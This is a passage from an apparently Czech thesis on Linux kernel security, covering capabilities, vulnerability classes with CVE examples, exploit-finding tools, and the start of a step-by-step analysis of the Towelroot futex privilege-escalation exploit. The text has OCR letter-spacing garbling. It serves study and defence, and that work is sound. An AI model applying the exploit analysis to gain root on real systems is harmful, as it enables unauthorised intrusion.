b u d s p u š t ě n už iva te lem root nebo by musel bý t typu setuid-root. [76] [4] 

Spus t i t e lné soubory setuid-root p ředs t avu j í b e z p e č n o s t n í r iziko v p ř í p a d ě v ý s k y t u chyb 
v r á m c i jejich kódu . V p ř í p a d ě zneuž i t í chyby m ů ž e ú t o č n í k z íska t schopnost p rovádě t 
p ř íkazy v o p e r a č n í m s y s t é m u s p r á v y root. P ř i rozdělení p r á v p o u ž i t í m schopnos t í dojde k 
omezení škod, k t e r é m ů ž e ú t o č n í k v s y s t é m u n a p á c h a t . 

V p ř í p a d ě programu u r č e n é h o pro záchyt p a k e t ů by mohl spus t i t e lný soubor dispono
vat s chopnos t í C A P N E T A D M I N , k t e r á umožňu je p rováděn í síťových a d m i n i s t r a t i v n í c h 
d o t a z ů a schopnos t í C A P N E T R A W umožňuj íc í použ i t í "raw"soketů. 

K a ž d é v l ákno a proces obsahuje v r á m c i svých metadat několik sad schopnos t í . Sada 
schopnos t í je b i tová maska r e p r e z e n t o v a n á 64 bity, ve k t e r é k a ž d ý bit reprezentuje jednu 
schopnost. Schopnost je a k t i v o v á n a př i n a s t a v e n í p ř í s lušného b i tu na hodnotu 1 a naopak je 
n e a k t i v n í v p ř í p a d ě , že je p ř í s lušný bit nastaven na hodnotu 0. Sady schopnos t í lze obecně 
rozděl i t na dva typy. Sady schopnos t í v láken p o p s a n é v kapitole 5.2.2 a sady schopnos t í 
s o u b o r ů p o p s a n é v kapitole 5.2.3. 

P ř i vy tvo řen í po tomka p r o v e d e n í m funkce fork p ř e b í r á tento potomek n e z m ě n ě n o u kopi i 
sad schopnos t í rod iče . [4] Algor i tmus pro u rčen í sad schopnos t í v l á k n a po p roveden í operace 
execve je uveden v kapitole 5.2.4. 

Operace execve s louží pro s p u š t ě n í programu a př i je j ím p roveden í je nahrazen p ů v o d n í 
program n o v ý m programem v r á m c i procesu prováděj íc ího operaci execve. [7] 

5 .2 .1 Z o b r a z e n í s c h o p n o s t í a k t u á l n í h o p r o c e s u 

Schopnosti a k t u á l n í h o procesu je m o ž n é z íska t z pseudosouboru, k t e r ý se nacház í v ad re sá ř i 
/proc/self . Tento a d r e s á ř se odkazuje na a k t u á l n í proces. Ve výpise 5.5 jsou uvedeny sady 
schopnos t í programu grep. 

grep - i cap /proc/self/status 
Caplnh: 0000000000000000 
CapPrm: 0000000000000000 
CapEff: 0000000000000000 
CapBnd: 0000003íffffffff 
CapAmb: 0000000000000000 

Výpis 5.5: Výpis sad schopnos t í programu grep. 

5 .2 .2 S a d y s c h o p n o s t í v l á k e n a p r o c e s u 

V k a ž d é m v lákně a procesu se nacház í následuj íc í sady schopnos t í : [78] [11] 

• Permi t ted (Prm) : Slouží pro omezen í schopnos t í , k t e r é mouhou bý t v loženy do sady 
schopnos t í Effective. P o k u d se schopnost nacház í v t é t o sadě , pak m ů ž e bý t v ložena 
i do sady Effective. 
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• Inheritable (Inh): Sada schopnos t í p ř e d a n á z n a d ř a z e n é h o procesu. 

• Effective (Eff): Sada schopnos t í p o u ž í v a n á př i kontrole op rávněn í . 

• Bounding (Bnd) : Proces m ů ž e b ě h e m ž ivo tn ího cyk lu z íska t jen schopnosti uvedené 
v t é t o sadě . 

• Ambient (Amb) : Sada schopnos t í u r č e n á pro vložení schopnos t í do nepr iv i legovaných 
p r o g r a m ů , k t e r é nema j í vloženy schopnosti v souborech. P o k u d se schopnost nacház í 
v s adě Amnien t , pak se mus í n a c h á z e t i v s adě Permi t ted a Inheritable. 

5 . 2 .3 S a d y s c h o p n o s t í s o u b o r ů 

V t é t o podkapitole je uveden s t r u č n ý popis sad schopnos t í s o u b o r ů . V kapitole 5.2.4 je 
uveden popis toho, jak tyto sady schopnos t í určuj í schopnosti v l á k n a po p roveden í operace 
execve. Spus t i t e l ný soubor m ů ž e zahrnovat následuj íc í sady schopnos t í : 

• Permi t ted (Prm) : Povolené shopnosti v l ákna . 

• Inheritable (Inh): D ě d ě n é schopnosti. 

• Effective (Eff): B i t určuj ící sadu schopnos t í effective v l á k n a po p roveden í operace 
execve. 

5 .2 .4 A l g o r i t m u s p r o u r č e n í s c h o p n o s t í v l á k n a b ě h e m p r o v á d ě n í o p e r a c e 
e x e c v e 

Ve výpisech uvedených v t é t o kapitole slouží P() pro označen í sady schopnos t í v l á k n a p řed 
p r o v e d e n í m operace execve, P'() pro označen í sady schopnos t í v l á k n a po p roveden í operace 
execve a F() pro označen í sad schopnos t í souboru. 

Sada schopnos t í ambient v l á k n a po p roveden í operace execve je v y n u l o v á n a v p ř í p a d ě , 
že se ne j edná o pr iv i legovaný soubor, nebo se r o v n á s adě schopnos t í ambient v l á k n a p řed 
p r o v e d e n í m operace execve jak je uvedeno ve výpise 5.6. 

P'(ambient) = ( f i l e i s privileged) ? 0 : P(ambient) 
Výpis 5.6: Určen í sady schopnos t í ambient. 

Sada schopnos t í permit ted v l á k n a po p roveden í operace execve je u r č e n a operacemi 
A N D (v textu o z n a č e n a znakem &) a O R (v textu o z n a č e n a znakem |). Schopnost je ak t i vn í 
v p ř í p a d ě , že je a k t i v n í v s adě schopnos t í inheritable v l á k n a p ř e d p r o v e d e n í m operace execve 
a zároveň je a k t i v n í v s adě schopnos t í inheritable souboru nebo pokud je a k t i v n í v sadě 
schopnos t í permit ted souboru a zároveň je a k t i v n í v s adě schopnos t í permit ted v l á k n a p řed 
p r o v e d e n í m operace execve nebo pokud je a k t i v n í v s adě schopnos t í permit ted v l á k n o po 
proveden í operace execve jak je uvedeno ve výpise 5.7. 

P'(permitted) = (P(inheritable) & F(inheritable)) | 
(F(permitted) & P(bounding)) | P'(ambient) 

Výpis 5.7: Určen í sady schopnos t í permitted. 

Sada schopnos t í effective v l á k n a po p roveden í operace execve je buď rovna sadě schop
nos t í permit ted nebo ambient v l á k n a po p roveden í operace execve v závislost i na h o d n o t ě 
b i tu effective jak je uvedeno ve výpise 5.8. 
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P'(effective) = F(effective) ? P'(permitted) : P'(ambient) 
Výpis 5.8: Určen í sady schopnos t í effective. 

Sady schopnos t í inheritable a bounding v l á k n a po p roveden í operace execve z ů s t a n o u 
n e z m ě n ě n y jak je uvedeno ve výpise 5.9. 

P'(inheritable) = P(inheritable) 
P'(bounding) = P(bounding) 

Výpis 5.9: Určen í sady schopnos t í inheritable a bounding. 

5.3 Typy zrani telnost í j á d r a Linuxu 

Tato kapi tola shrnuje nejzávažnějš í zranitelnosti j á d r a L i n u x u . 

5 .3 .1 D e r e f e r e n c e n u l o v é h o u k a z a t e l e 

P ř i dereferenci ukazatele j ehož hodnota je N U L L je s y s t é m e m vygene rována vý j imka N u l l -
PointerExcept ion. D íky vyvo lané výj imce je m o ž n é obej í t b e z p e č n o s t n í logiku programu 
nebo z íska t ladící informace už i t ečné př i p l ánován í dlaš ích ú t o k ů . D íky t é t o zranitelnosti je 
m o ž n é provés t n a p ř í k l a d ú t o k DoS (CVE-2014-8173) . [23] 

H o d n o c e n í zranitelnosti CVE-2014-8173 podle stupnice C V S S N I S T : N V D je 7.2. 
P ř í k l a d programu s touto z ran i t e lnos t í je uveden ve výpise 5.10. P o dokončen í volání 

funkce getProperty je do ukazatele cmd v ložena hodnota N U L L v p ř í p a d ě , že nen í def inována 
vlastnost "cmd". V t a k o v é m p ř í p a d ě je př i pokusu o p roveden í funkce trim je provedena 
dereference ukazatele cmd j ehož hodnota je N U L L , což způsob í vygenerován í výj imky. [55] 

String cmd = System.getProperty("cmd"); 
cmd = cmd.trim(); 

Výpis 5.10: P ř í k l a d k ó d u se z r an i t e lnos t í dereference nulového ukazatele. 

Odstranit tu to zranitelnost je m o ž n é ově řen ím hodnoty ukazatele p ř e d pokusem o jeho 
dereferenci jak je uvedeno ve výpise 5.11. 

String cmd = System.getProperty("cmd"); 
i f (cmd != NULL) { 

cmd = cmd.trim(); 
} 

Výpis 5.11: P ř í k l a d k ó d u s o d s t r a n ě n o u z ran i t e lnos t í dereference nu lového ukazatele. 

5 .3 .2 D ě l e n í n u l o u 

P ř i pokusu o dělení nulou je s y s t é m e m vygene rována chyba, což vede k ú s p ě š n é m u proveden í 
ú t o k ů typu DoS (CVE-2015-4003), (CVE-2013-6367). [23] 

H o d n o c e n í zranitelnosti CVE-2015-4003 podle stupnice C V S S N I S T : N V D je 7.8 a hod
nocen í zranitelnosti CVE-2013-6367 podle stupnice C V S S N I S T : N V D je 5.7. 
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5 .3 .3 P o u ž i t í p o u v o l n ě n í 

P ř í č inou t é t o zranitelnosti je p r á c e s uvo lněnou p a m ě t í , což m ů ž e m í t za nás ledek p á d 
programu, poškození p a m ě t i nebo s p u š t ě n í l ibovolného kódu . T é t o zranitelnosti využívaj í 
ú t o k y typu zvýšení o p r á v n ě n í (CVE-2016-4557), DoS (CVE-2016-4558) nebo z ískání infor
m a c í (CVE-2012-3510). [23] 

H o d n o c e n í zranitelnosti CVE-2016-4557 podle stupnice C V S S N I S T : N V D je 7.8 a hod
nocen í zranitelnosti CVE-2016-4558 podle stupnice C V S S N I S T : N V D je 7.0 a h o d n o c e n í 
zranitelnosti CVE-2012-3510 podle stupnice C V S S N I S T : N V D je 5.6. 

P ř í k l a d programu s touto z ran i t e lnos t í je uveden ve výpise 5.12. Funkc í malloc je prove
dena alokace p a m ě t i , na kterou se odkazuje ukazatel ptr. Funkc í free je provedeno uvolnění 
p a m ě t i , v p ř í p a d ě pravdivosti v ý r a z u err. P ř i pravdivosti v ý r a z u abrt se program pokouš í 
pracovat s ukazetelem ptr, k t e r ý odkazuje na j iž uvo lněnou p a m ě ť . [63] 

char* ptr = (char*)malloc(SIZE); 

i f (err) { 
abrt = 1; 
free(ptr); 

} 

i f (abrt) { 
logErrorCoperátion aborted before commit", p t r ) ; 

} 

Výpis 5.12: P ř í k l a d programu používaj íc í paměť po je j ím uvolnění . 

5 . 3 .4 N e k o n e č n á s m y č k a 

Zranitelnost je z p ů s o b e n a chybně definovanou p o d m í n k o u pro ukončen í cyk lu , což vede k 
opakování cyk lu donekonečna . T é t o zranitelnosti využ ívá n a p ř í k l a d ú t o k DoS (CVE-2013-
0290). [23] 

H o d n o c e n í zranitelnosti CVE-2013-0290 podle stupnice C V S S N I S T : N V D je 4.9. [13] 

5 .3 .5 D v o j i t é v o l á n í f u n k c e f ree 

Zranitelnost je z p ů s o b e n a v í c e n á s o b n ý m vo lán ím funkce free, k t e r é je p ř e d á n ukazatel odka
zující se s tá le na stejnou p a m ě ť . To způsob í p o r u š e n í d a t o v ý c h s t ruktur pro s p r á v u p a m ě t i . 
Díky tomu m ů ž e ú t o č n í k zapisovat hodnoty do reg i s t rů nebo j i n a m do paměťového prostoru 
a t í m zajistit s p u š t ě n í l ibovolného k ó d u . Tato zranitelnost umožňu je ú s p ě š n é p roveden í 
ú t o k ů typu DoS (CVE-2013-7348), (CVE-2006-2444). [23] [43] 

H o d n o c e n í zranitelnosti CVE-2013-7348 podle stupnice C V S S N I S T : N V D je 4.6 a hod
nocen í zranitelnosti CVE-2006-2444 podle stupnice C V S S N I S T : N V D je 7.8. 

5 . 3 .6 P ř e t e č e n í v y r o v n á v a c í p a m ě t i 

Zranitelnost je z p ů s o b e n a záp i sem mimo souvislou posloupnost p a m ě t i p o u ž í v a n o u progra
mem. Díky tomu m ů ž e ú t o č n í k n a p ř í k l a d spustit svůj škodl ivý kód . Zranitelnosti využívaj í 
ú t o k y typu poškozen í p a m ě t i (CVE-2009-1633) nebo z ískání o p r á v n ě n í (CVE-2009-4004). 
[23] [38] 
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H o d n o c e n í zranitelnosti CVE-2009-1633 podle stupnice C V S S N I S T : N V D je 7.1 a hod
nocen í zranitelnosti CVE-2009-4004 podle stupnice C V S S N I S T : N V D je 7.8. 

5 . 3 . 7 P ř e t e č e n í c e l ý c h č í s e l 

Zranitelnost je z p ů s o b e n a ari tmetickou ope rac í jejíž výs l edkem je hodnota, k t e r á je příliš 
ve lká a nen í m o ž n é j i uloži t do m e n š í h o paměťového prostoru u r č e n é h o pro uložení výs ledku 
p rovedené a r i tme t i cké operace. M ů ž e doj í t k p á d u s y s t é m u nebo k jeho nedef inovanému 
chování . Tuto zranitelnost využívaj í ú t o k y pro z ískání informací (CVE-2009-1265) nebo 
po rušen í p a m ě t i (CVE-2010-3442). [23] 

H o d n o c e n í zranitelnosti CVE-2009-1265 podle stupnice C V S S N I S T : N V D je 5.0 a hod
nocen í zranitelnosti CVE-2010-3442 podle stupnice C V S S N I S T : N V D je 4.7. 

5 .3 .8 S o u b ě h 

K s o u b ě h u docház í př i zp racován í ins t rukc í v c h y b n é m p o ř a d í , p ř i čemž v ý s t u p y ins t rukc í 
závisí na p o ř a d í , v j a k é m jsou instrukce prováděny . N a p ř í k l a d m ů ž e doj í t k p ř e p s á n í dat, 
k t e r á m ě l a bý t p ř e č t e n a , ale d íky c h y b n é m u p o ř a d í i n s t rukc í k tomu nedoš lo . T é t o zrani
telnosti využívaj í ú t o k y typu z ískání o p r á v n ě n í (CVE-2016-2059), DoS (CVE-2006-2445) 
nebo poškození p a m ě t i (CVE-2006-2629). [23] 

H o d n o c e n í zranitelnosti CVE-2016-2059 podle stupnice C V S S N I S T : N V D je 7.0 a hod
nocen í zranitelnosti CVE-2006-2445 podle stupnice C V S S N I S T : N V D je 4.0 a h o d n o c e n í 
zranitelnosti CVE-2006-2629 podle stupnice C V S S N I S T : N V D je 4.0. 

5 . 3 . 9 C h y b a i n d e x u p o l e 

Zranitelnost je z p ů s o b e n a p ř í s t u p e m na index, j ehož hodnota p řesahu je velikost pole. T é t o 
zranitelnsoti využívaj í ú t o k y z ískání o p r á v n ě n í (CVE-2009-3080) nebo získání informací 
(CVE-2015-4004). [23] Tohoto pr inc ipu t a k é využívaj í ú t o k y zneužívaj ící zranitelnosti M e l -
tdown a Spectre p o p s a n é v čás t i 4.7.13. 

H o d n o c e n í zranitelnosti CVE-2009-3080 podle stupnice C V S S N I S T : N V D je 7.2 a hod
nocen í zranitelnosti CVE-2015-4004 podle stupnice C V S S N I S T : N V D je 8.5. 
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Kapitola 6 

Vyhledávání exploitů 

Exp lo i t y je m o ž n é nalez ve veřejně p ř í s t u p n ý c h d a t a b á z í c h nebo p o m o c í n á s t r o j ů . V p ř í p a d ě 
nově objevené zranitelnosti exploit nejspíše neexistuje a je n u t n é jej ne jdř íve vyvynout . K 
tomu mohou pomoci n á s t r o j e a typy u v e d e n é v t é t o kapitole. 

6.1 Da tabáze exploitů 

M e z i ne jznámějš í d a t a b á z e exp lo i tů p a t ř í Exp lo i t D B , Rapid7 , CXSecur i ty , Vulnerabi l i ty 
Lab , Oday, Packet S torm Security, Google Hacking Database. [61] 

D a t a b á z e Google Hacking Database obsahuje Google Dorks, k t e r é p ř eds t avu j í způsob 
jak z ískávat informace p r o s t ř e d n i c t v í m p ř í k a z ů j azyka vyh ledávače Google. 

D a t a b á z e Rap id7 p o c h á z í od vývo já řů aplikace Metasploi t . P o na lezení exp lo i tů je 
m o ž n é zobrazit podrobnosti o zranitelnosti a t a k é n á v o d pro s p u š t ě n í exp lo i tů p ros t ř ed 
n i c tv ím konzole aplikace Metasploi t . 

D a t a b á z e Oday u m o ž ň u j e nejen vyh ledáván í explo i tů , ale t a k é jejich prodej. 

6.2 Nás t ro je pro vyhledávání exploitů nebo zranitelnost í 

Variantou k m a n u á l n í m u p r o c h á z e n í d a t a b á z í je použ i t í n á s t r o j ů uvedených v t é t o čás t i . 

6 .2 .1 M e t a s p l o i t 

N á s t r o j Matasploi t je u r čen pro p rováděn í p e n e t r a č n í h o t es tován í , p r o s t ř e d n i c t v í m k t e r é h o 
je m o ž n é s p u š t ě n í k ó d u exp lo i tů . N á s t r o j umožňu je použ i t í r ůzných m o d u l ů mezi k t e r é p a t ř í 
nap ř ík l ad : [79] 

• M o d u l y exp lo i tů umožňu j í s p u š t ě n í veřejně d o s t u p n ý c h exp lo i tů na cí lovém zařízení . 

• D íky p o m o c n ý m m o d u l ů m je m o ž n é p r o v á d ě t operace jako je n a p ř í k l a d skenování 
už ivate lů . 

• P o m o c í post-exploitation m o d u l ů je m o ž n é n a p ř í k l a d zvýšení o p r á v n ě n í p ř í s t p u k 
cí lovému sys t ému . 
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6 .2 .2 L i n P E A S 

L i n P E A S je označen í pro skript sloužící pro v y h l e d á n í zneuž i te lných z ran i t e lnos t í , jejichž 
zneuž i t ím lze d o s á h n o u t zvýšení o p r á v n ě n í v s y s t é m u . [6] 

6 . 2 . 3 N m a p 

N á s t r o j N m a p lze spouž í t spolu se skriptem vulscan nebo skriptem nmap-vulners ke skeno-
vání z ran i t e lnos t í . Skr ip ty jsou př i s p u š t ě n í n á s t r o j e N m a p uvedeny za p ř e p í n a č e m -script. 
[46] N a zák ladě z ran i t e lnos t í je m o ž n é z n ě k t e r é d a t a b á z e z ískat exploit. 

6 . 2 .4 I m m u n i t y C A N V A S 

Sada Immuni ty C A N V A S umožňu je p rovádě t h o d n o c e n í bezpečnos t i a mimo j iné t a k é u m o ž 
ňuje v ý z k u m a vývoj exp lo i tů . Sada obsahuje m n o ž s t v í exp lo i tů roz t ř íděných do ka tegor i í 
a p ř ip r avených k použ i t í . [29] 

6 .2 .5 E x p l o i t P a c k 

Exp lo i t Pack je označen í pro framework umožňuj íc í vývoj exp lo i tů a obsahuje exploity 
p ř ip ravené k použ i t í . [44] 

6.3 Vývoj exploitů 

Pro vývoj exp lo i tů lze použ í t n a p ř í k l a d n á s t r o j e u v e d e n é v čás t i 6.2.4 nebo 6.2.5. 
N a z a č á t k u vývoje exp lo i tů je v h o d n é se z a m ě ř i t na chyby jako je p ře t ečen í vyrovnávac í 

p a m ě t i , p ř e t ečen í celých čísel a da lš í chyby, k t e r é je m o ž n é zneuž í t . P o na lezení zranielnosti 
je n u t n é vy tvo ř i t exploit, k t e r ý zranitelnost dokáže zneuží t , p ro tože ne všechny zranitelnosti 
mohou bý t zneuž i t e lné . P ř i l aděn í z r an i t e lného programu mohou bý t v y h l e d á n y zneuž i te lné 
adresy v p a m ě t i , jako n a p ř í k l a d adresy funkcí nebo adresy v p a m ě t i zá sobn íku . Po z ískání 
všech p o t ř e b n ý c h informací je m o ž n é vy tvo ř i t funkční exploit . [47] 
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Kapitola 7 

Podrobná analýza exploitů 

7.1 Towelroot (CVE-2014-3153) 

Zranitelnost je z p ů s o b e n a funkcí futex_requeue v souboru kernel/futex.c v l inuxovém j á d ř e 
do verze 3.14.5. Funkce nep rovád í kontrolu, zda jsou adresy futex rozdí lné a je tedy m o ž n é 
j i volat se d v ě m a s t e jnými adresami futex. P o m o c í p ř í kazu F U T E X _ R E Q U E U E je m o ž n á 
modifikace čeka te le futexu, což u m o ž n í uživate l i z ískat vyšší op rávněn í . [27] [8] 

Zneuž i te lné verze j á d r a jsou do 3.2.60 (k romě) , od 3.3 (včetně) do 3.4.92 (k romě) , od 
3.5 (včetně) do 3.10.42 (k romě) , od 3.11 (včetně) do 3.12.22 (k romě) , od 3.13 (včetně) do 
3.14.6 (k romě) . 

H o d n o c e n í zranitelnosti podle stupnice C V S S N I S T : N V D je 7.2. [13] 
Futex je zkratkou slova Fast Userspace M u t e x a p ř e d s t a v u j e synchron izačn í mechani

zmus př i p ř í s t u p u v láken ke sd í l eným p r o s t ř e d k ů m . Je nav ržen tak, aby se co nejvíce omezila 
interakce s j á d r e m a t í m se zrychli lo p rováděn í programu. Futex je v z á k l a d n í p o d o b ě č í t ač , 
p ř ičemž procesy čekají , až bude jeho hodnota k l a d n á . Ex is tu j í dva druhy: P I a non-PI . Sys
t é m o v é volání futex je uvedeno ve výpise 7.1. P r o m ě n n á , jejíž adresa je u ložena v ukazatel i 
uaddr je označována jako futex word. P r o m ě n n á futex word p ř e d s t a v u j e futex, na k t e r é m 
mohou čeka t v l ákna . [10] 

long syscall(SYS_futex, uint32_t *uaddr, int futex_op, uint32_t val, 
const struct timespec *timeout, /* or: uint32_t val2 */ 
uint32_t *uaddr2, uint32_t val3); 

Výpis 7.1: S y s t é m o v é v o l á n í f u t ex . 

F u t e x t y p u n o n - P I 

Futex typu non-PI umožňu je p roveden í dvou zák ladn ích ope rac í F U T E X W A I T a F U -
T E X W A K E . 

Operace F U T E X W A I T umožňu je u s p á n í v l á k n a v p ř í p a d ě , že se hodnota p r o m ě n n é 
futex word r o v n á h o d n o t ě p r o m ě n n é val. V l á k n o se př i u s p á n í s t ává čeka te l em. V p ř í p a d ě , 
kdy se hodnoty nerovnaj í , v r á t í sys t émové volání chybu EAGAIN. P o r o v n á n í hodnoty pro
m ě n n é futex word a val se p rovád í z d ů v o d u z a b r á n ě n í z t r a cených p r o b u z e n í . P r o m ě n n á 
timeout u rču je časový l imi t pro čekán í pokud její hodnota nen í N U L L . Ve výpise 7.2 je uve
den p ř ík l ad funkce prováděj íc í operaci F U T E X W A I T . Ignorovány jsou argumenty uaddr2 
a val3. 
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/* Acquire the futex pointed to by 'futexp': wait for i t s value to 
become 1, and then set the value to 0. */ 

sta t i c void fwait(uint32_t *futexp) 
{ 

long s; 
const uint32_t one = 1; 

// atomic_compare_exchange_strong(ptr, oldval, newval) 
// atomically performs the equivalent of: 
// i f ( *ptr == *oldval ) 
// *ptr = newval; 
/ / I t returns true i f the test yielded true and *ptr was updated. 

while (1) { 
/ / I s the futex available? 
i f (atomic_compare_exchange_strong(futexp, &one, 0)) 

break; // Yes 
// Futex i s not available; wait, 
s = futex(futexp, FUTEX_WAIT, 0, NULL, NULL, 0); 
i f (s == -1 && errno != EAGAIN) 

err(EXIT_FAILURE, "futex-FUTEX_WAIT"); 
} 

} 

Výpis 7.2: F u n k c e p r o u s p á n í v l á k n a . 

Na obrázku 7.1 je popsáno zabránění ztraceného probuzení. 

Vlákno č.l - po vykonání funkce 
atomic_compare_exchange_strong se rozhodne 

pro vykonání operace FUTEX_WAIT na futexp 
(futex word) 

Vlákno 1.2 - změní hodnotu proměnné futexp 

Vlákno č.2 - provede operaci FUTEX_WAKE 
na futexp 

1 
Vlákno č.l - nevykoná operaci FUTEX_WAIT, 

protože hodnota futexp není rovna očekávané 
hodnotě 

Obrázek 7.1: Z a b r á n ě n í z t r a c e n é h o p r o b u z e n í . 

Další operací je F U T E X W A K E , která slouží pro probuzení jednoho nebo více čeka
jících vláken. Počet probuzených vláken je specifikován proměnnou val. Není garantováno, 
která čekající vlákna budou probuzena. Ignorovány jsou argumenty uaddr2, val3 a timeout. 
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F u t e x t y p u P I 

Futex typu P I řeší p r o b l é m inverze priori t , kdy je ú l o h a s vysokou pr ior i tou zab lokována 
z á m k e m , k t e r ý je d r ž e n ú lohou s n ízkou prior i tou. P r io r i t a ú lohy s n ízkou pr ior i tou je 
dočasně zvýšena na pr ior i tu ú lohy s vysokou pr ior i tou. Ú loha se zvýšenou pr ior i tou nen í 
p ř e d b í h á n a ú l o h a m i s t ř e d n í ú rovně a z á m e k je uvo lněn rychleji . Ú loha s vyšší pr ior i tou 
získá z á m e k rychleji než ú lohy s nižší pr ior i tou. Futex typu P I použ ívá p r io r i t n í seznam, ve 
k t e r é m jsou čakjící v l á k n a se řazena podle priority. P ro k a ž d é čekající v l á k n o je do seznamu 
vložena po ložka . P r i o r i t n í seznam je uveden na o b r á z k u 7.2. 

priority=10 priority=20 

priojist priojist priojist priojist 

plistjiead node_list nodejist t plistjiead node_list nodejist t 

lililillilill̂  tllllillilllilll 

m 
priority=20 

priojist 

nodejist nodejist 

1 BII 

priority=30 

priojist 

node list 

O b r á z e k 7.2: P r i o r i t n í s e z n a m č e k a t e l ů . P ř e v z a t o ze z d r o j e [8]. 

Futex typu non-PI umožňu je p roveden í dvou zák ladn ích ope rac í F U T E X L O C K P I a 
F U T E X _ U N L O C K _ P I . 

Operace F U T E X L O C K P I je p o u ž i t a po n e ú s p ě š n é m pokusu o z ískání z á m k u po
moc í a tomické instrukce p rovedené v už iva te l ském rež imu, p ro tože futex word obsahuje 
hodnotu větš í než nula. P o k u d je hodnota futex word rovna 0, je p ř i p roveden í operace F U 
T E X L O C K P I v ložena do futex word hodnota ident i f iká toru T I D v l á k n a a p o t é v l á k n o 
pokraču je v p rováděn í programu. P o k u d futex word obsahuje nenulovou hodnotu, j á d r o na
s tav í bit F U T E X W A I T E R S signalizující v l á k n u v las tn íc í futex, že nen í m o ž n é a tomické 
o d e m č e n í futexu v už iva te l ském prostoru n a s t a v e n í m hodnoty futex word na 0. V l á k n o je 
nás l edně vloženo do seznamu čeka te lů . P r o m ě n n á timeout určuje časový l imi t pro čekán í 
na z ískání z á m k u pokud její hodnota nen í N U L L . Ignorovány jsou argumenty uaddr2, val 
a val3. 

Operace F U T E X U N L O C K P I slouží pro p r o b u z e n í čekaj íc ího v l á k n a s nejvyšší pr i 
oritou, k t e r é zaháj i lo čekán í p r o v e d e n í m operace F U T E X L O C K _ P I s adresou uaddr. 
Ignorovány jsou argumenty uaddr2, val, timeout a val3. 

7 .1 .1 P o d r o b n á a n a l ý z a e x p l o i t u 

V t é t o kapitole je uvedena posloupnost udá los t í , k t e r é vedou ke zvýšení o p r á v n ě n í na ú roveň 
root. Informace o t ě c h t o udá lo s t ech byly z í skány z v ý s t u p u SystemTap skr ip tu v př í loze B 
a exploi tu v př í loze A , k t e r ý by l d o p l n ě n o výpis informací n u t n ý c h k ana lýze exploi tu. V 
t é t o kapitole je futex typu P I označen jako P I z á m e k a futex typu non-PI je označen jako 
non-PI zámek . 
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U d á l o s t č . 1 

P r o v e d e n í operace FUTEXLOCKPI na ř á d k u 574. V l á k n o př i p roveden í t é t o operace 
u z a m č e P I z á m e k a pokraču j e v p rováděn í programu. V l á k n o čekající na non-PI z á m k u 
bude př i p ř e ř a z e n í na P I z á m e k zab lokováno a bude v y t v o ř e n a po ložka v seznamu čeka te lů 
P I z á m k u . Tato po ložka bude d íky chybě p o n e c h á n a v seznamu a pos louží k ú s p ě š n é m u 
proveden í ú t o k u . 

U d á l o s t č . 2 

P ř i p roveden í operace FUTEX_WAIT_REQUEUE_PI na ř á d k u 533 je vo lána funkce 
futex_wait_requeue_pi. V l á k n o bude čeka t na non-PI z á m k u s úmys l em, že bude pozděj i 
p ř e směrováno na P I zámek . 

s t a t i c int futex_wait_requeue_pi(u32 user *uaddr, unsigned int flags, 
u32 val, ktime_t *abs_time, u32 bits e t , 
u32 user *uaddr2) 

{ 

struct hrtimer_sleeper timeout, *to = NULL; 
struct rt_mutex_waiter rt_waiter; 
struct rt_mutex *pi_mutex = NULL; 
struct futex_hash_bucket *hb; 
union futex_key key2 = FUTEX_KEY_INIT; 
struct futex_q q = futex_q_init; 
int res, ret; 

Výpis 7.3: Z a č á t e k f u n k c e futex wait requeue pi. P ř e v z a t o ze z d r o j e [3]. 

Nejdůleži těš í lokální p r o m ě n n o u je rt_waiter, k t e r á p ř e d s t a v u j e po ložku v seznamu 
čeka te lů . Po ložky s t ruktury rt_waiter jsou uvedeny ve výpise 7.4. 

struct rt_mutex_waiter { 
struct plist_node l i s t _ e n t r y ; 
struct plist_node p i _ l i s t _ e n t r y ; 
struct task_struct *task; 
struct rt_mutex *lock; 

} ; 

Výpis 7.4: P o l o ž k y s t r u k t u r y struct rt mutex waiter. P ř e v z a t o ze z d r o j e [3]. 

Ve s t r u k t u ř e je odkaz na zámek , na k t e r ý v l á k n o čeká. Dá le odkaz na čekající v l á k n o 
a odkazy na o s t a t n í čekající v l ákna . Po volání funkce futex_wait_queue_me je v l á k n o 
zablokováno a pokraču j e v p ř í p a d ě p r o b u z e n í nebo ukončen í . Funkce futex_wait_queue_me 
je vo lána ve funkci futex_wait_requeue_pi. 

U d á l o s t č . 3 

P ř i p roveden í operace FUTEXCMPREQUEUEPI na ř á d k u 576 je vo lána funkce fu-
tex_requeue, k t e r á zaj is t í p ř e směrován í v l á k n a z non-PI z á m k u na P I zámek . 

s t a t i c int futex_requeue(u32 user *uaddrl, unsigned int flags, 
u32 user *uaddr2, int nr_wake, int nr_requeue, 

72 



u32 *cmpval, int requeue_pi) 
{ 

i f (requeue_pi) { 
/* Prepare the waiter to take the rt_mutex. */ 
atomic_inc(&pi_state->refcount); 
this->pi_state = pi_state; 
ret = rt_mutex_start_proxy_lock(&pi_state->pi_mutex, 

this->rt_waiter, 
this->task, 1); 

Výpis 7.5: Č á s t f u n k c e futex requeue. P ř e v z a t o ze z d r o j e [3]. 

Funkce rt_mutex_start_proxy_lock provede p řesměrován í . 

int rt_mutex_start_proxy_lock(struct rt_mutex *lock, 
struct rt_mutex_waiter *waiter, 
struct task_struct *task, i n t detect_deadlock) 

{ 

ret = task_blocks_on_rt_mutex(lock, waiter, task, detect_deadlock); 

Výpis 7.6: Č á s t f u n k c e rt mutex start proxy lock. P ř e v z a t o ze z d r o j e [3]. 

Ve funkci task_blocks_on_rt_mutex je v ložena po ložka do seznamu čeka te lů . 

s t a t i c int task_blocks_on_rt_mutex(struct rt_mutex *lock, 
struct rt_mutex_waiter *waiter, 
struct task_struct *task, 
int detect_deadlock) 

{ 

plist_add(&waiter->list_entry, &lock->wait_list); 

Výpis 7.7: Č á s t f u n k c e task blocks on rt mutex. P ř e v z a t o ze z d r o j e [3]. 

Stav seznamu čeka te lů je uveden na o b r á z k u 7.3. 

lock->wait list n 

prio: 132 

node_list_prev: ffff8800209e3858 

node list next: ffff8800209e3858 

prio_list_prev: ffff8800209a1d08 

prio_list_next: ffff8800209a1d08 

node list addr: ffff8S00209a1d1S 

priojist addr: ffff8800209a1d08 

O b r á z e k 7.3: P r v n í s t a v s e z n a m u č e k a t e l ů 
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Nyní je lokální p r o m ě n n á rt_waiter def inovaná ve funkci futex_wait_requeue_pi po
ložkou v seznamu čeka te lů P I z á m k u . 

U d á l o s t č . 4 

N a ř á d k u 580 je p r o s t ř e d n i c t v í m funkce create_thread_do^futex_lock_pi_with_priority 
